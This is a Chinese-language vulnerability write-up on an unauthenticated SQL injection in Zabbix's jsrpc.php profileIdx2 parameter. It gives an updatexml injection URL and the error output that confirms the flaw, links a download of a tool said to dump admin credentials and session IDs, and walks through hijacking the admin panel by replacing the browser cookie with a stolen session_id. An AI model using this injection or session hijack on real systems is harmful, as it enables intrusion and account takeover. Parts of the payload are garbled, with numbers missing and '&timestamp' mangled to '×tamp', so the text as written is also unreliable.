漏洞概述
zabbix是一个开源的企业级性能监控解决方案。近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。
影响程度
攻击成本:低 危害程度:高 是否登陆:不需要 影响范围:2.2.x, 3.0.0-3.0.3。(其他版本未经测试)
漏洞测试
在zabbix地址后面添加这串url
jsrpc.php?type=&method=screen.get×tamp=&pageFile=history.php&profileIdx=web.item.graph&profileIdx
=+or+updatexml(,md5(0x11),)+or+=)%&updateProfile=true&period=&stime=&resourcetype=
如果显示以下内容,则说明存在profileIdx 2 参数注入漏洞
<div class="flickerfreescreen" id="flickerfreescreen_1" data-timestamp="" style="position: relative;"></div><table class="msgerr" cellpadding="" cellspacing="" id="msg_messages" style="width: 100%;"><tr><td class="msg" colspan=""><ul class="messages"><li class="error">reset() expects parameter to be array, null given [jsrpc.php: → CScreenHistory->get() → reset() in /usr/share/zabbix/include/classes/screens/CScreenHistory.php:]</li><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (, , 'web.item.graph.period', '', , or updatexml(,md5(0x11),) or =)#)] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (, , 'web.item.graph.stime', '', , or updatexml(,md5(0x11),) or =)#)] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (, , 'web.item.graph.isnow', '', , or updatexml(,md5(0x11),) or =)#)] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li></ul></td></tr></table>
漏洞检测工具及使用
下载链接:http://pan.baidu.com/s/1skLY1f3 密码:kl8e
在地址栏中输入zabbix网站地址,如果存在漏洞将会弹窗提示 并输出账号密码 以及sessionid
漏洞检测工具内容的利用
1.我们获取到了网站管理员的session_id,我们可以修改浏览器session_id参数内容来进入管理页面
2.解密密码然后输入账号密码进入
在这里只介绍一种
首先我们已经获取了网站管理员的session_id:
ae74ae71d2ef6752c7ecc8beed4c0858
然后我们可以利用firebug来修改网站的cookie储存内容
将此内容修改为我们获取到的session_id
然后确定并刷新页面我们就可以进入到管理页面了
结束~~~~~